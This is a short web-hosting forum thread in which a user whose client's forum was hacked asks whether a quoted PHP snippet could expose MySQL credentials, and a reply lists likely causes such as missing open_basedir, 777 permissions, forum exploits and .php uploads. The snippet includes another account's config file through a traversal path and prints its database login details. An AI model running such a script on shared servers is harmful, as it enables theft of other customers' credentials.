security issue

seachen

Verified User
Joined
Feb 3, 2007
Messages
491
recently my client forum hacked by hacker. i dont know how he do that.

may i know the code below can export the mysql info?

Code for include file from others…



<?php

include ("../../../../../../../../home/tarcian/domains/tarcian.com/public_html/config.inc.php");

echo $dbhost, $dbuser, $dbpw, $dbname

?>

i guess he enter my forum from phpmyadmin. coz he get my mysql username n password.
 
1. If he has a account on the same server as you and the server isnt using open_basedir or it isnt setup properly, then yes he can use the script.
2. If the chmod is wrong on the config file i.e 777 then he doesnt even need the script, its world viewable.
3. If there is a exploit in the forum script you are using.
4. If you have some sort of upload script on your site and it allows upload of .php extenstions.

These are just a few to be getting on with.
 
Back
Top